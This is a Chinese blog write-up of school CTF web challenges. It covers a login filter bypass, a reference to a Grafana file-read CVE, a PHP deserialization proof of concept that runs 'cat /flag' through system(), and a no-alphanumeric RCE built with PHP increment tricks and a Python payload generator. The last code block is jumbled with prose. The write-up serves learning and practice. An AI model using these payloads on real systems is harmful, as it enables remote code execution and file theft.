加载中...

10月校赛wp


由于本人热衷于web,致力于做一个好的web手,所以一般做题只做web,偶尔做一下misc,这次校赛本人真的菜,就做了一道,下次一定继续努力!故复现一下题目并整理一下wp,记录自己的成长之路并方便以后复习!

web

baby开胃菜

我们直接查看F12源代码

看到了一点提示,并且说了登录里藏了点东西,所以查看主界面右上角的登录

看到是个后台登录界面,直接F12查看源代码大法

所以试试账号,密码,此过程根据提示省略辣

当账号为admin123456时的回显

当账号为admin1234567时的回显

然后账号输入正确时,密码回显如下

通过上面的a2.html里显示了密码的过滤方式

所以直接双写绕过拿到flag!这也是本人作为菜鸡第一次月赛唯一会的一道题!好菜呜呜!

babycve

进入界面如下

根据题目,知道是cve漏洞,然后根据网站,搜索cve Grafana即可找到相关文章。

做题参考如下:Grafana任意文件读取漏洞(CVE-2021-43798)_chaojixiaojingang的博客-CSDN博客_grafana漏洞

babyunser

如图所示,读题并一眼看出是PHP反序列化,但并没有看到哪里有输出flag(菜鸡)!一顿审计下来,发现run函数调用,指向了$a和$b

所以,参考大佬思路,这是个远程执行,system(‘whoami’) ,所以$this→a=system,$this→b=whoami(即获取flag的指令 ‘cat /flag’)

在没有获取flag之前,应该先找到flag ‘find / name flag’

构造如下poc,获取payload

1
2
3
4
5
6
7
8
<?php
class cwm
{
public $a='system';
public $b='cat /flag';
}
echo serialize(new cwm());
?>

然后令url/?NEUQCSA= O:3:”cwm”:2:{s:1:”a”;s:6:”system”;s:1:”b”;s:9:”cat /flag”;} 即可获取flag

babyrce

最后一道也是我认为最难的一道,无字符rce,即正则匹配把字符,数字,字母,全过滤了

难点就是绕过正则。参考大佬思路(呜呜,好菜,根本不会)。利用php的自增操作来绕过正则匹配

步骤1:数组的 .=操作 ,目的:拿到任意的字母

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$_ = [];
$_ .= [];
var_dump($_);
#用$_是因为变量名只能由_,字母,数字组成,
#这里的结果是 string(10) "ArrayArray"
#因为 .= 是字符串的操作,而$_是数组,因此php编辑器将$_由数组转化为了字符串Array
#有两个array是因为 .=的操作拼接了两个数组
$__ = $_[0];
#这里的$__也就是字符A
$__++;
#此时的$__就是字符B了
#需要注意的是在php中A++ = B;但是 Z++=AA
#这是因为php用了phar语言的特性,具体的可以去翻下phpAPI手册
#如果是C语言的话倒是可以

步骤2:chr()函数的使用,目的:拿到任意字符

由于步骤1我们能拿到任意字母,但拿不到任意字符,如 _ 导致我们构不成 $_POST 因此有了步骤二

想要拿到任意字符也很简单,利用chr()函数即可

chr(int) -> 返回int对应的ascii值,如 chr(97) -> a;chr(65) ->A

由于php是弱语言,CHR()和chr()是一样的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#先得到chr
$_ = [];
$_ .= [];
$__ = $_[0]; #$__ = A
$__++;$__++; #$__=C,得到了字符C
#H和R也是一样的
#如果 $__ = CHR的话, $__(97) 就是a了,利用这个机制就可以拿到任意的字符
#在这里发现个问题,每次手动写太麻烦了,因此我写了个python脚本来辅助,代码如下
#使用说明:给test传两个参数,
#第一个是str类型的,也就是你要转换的字符串,
#第二个是int类型的,用于控制变量名,如$_1,$_2,$_33,方便我们控制变量
#test函数外面的那个print中的内容就是使 $_1 = CHR
str='ASSERT'
利用脚本拿到转化后的字符串,如图
对 _GET优化下使其变成 $_GET
整合后的payload
此时还不能直接用,因为+ 在url编码中会变成空格,导致了自增失败,因此我们拿去url编码下
url编码地址:CTF在线工具-在线URL编码|URL解码 (hiencode.com)
编码后的payload
str2='_GET'
def test(str,j):
flag=1
for i in str:
temp = ord(i)
if flag==1:
print("$_{}=$_1({});".format(j,temp),end='')
flag=2
else:
print("$_{}.=$_1({});".format(j,temp),end='')
print("$_=
[];$_.=$_;$_=$_[0];$__=$_;$__++;$__++;$___=$__;$__=$_;$__++;$__++;$__++;$__++;$_
_++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++
;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$_1=$___;",end=
"")
test(str,2)
test(str2,3)


文章作者: Wuhen
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Wuhen !
评论
  目录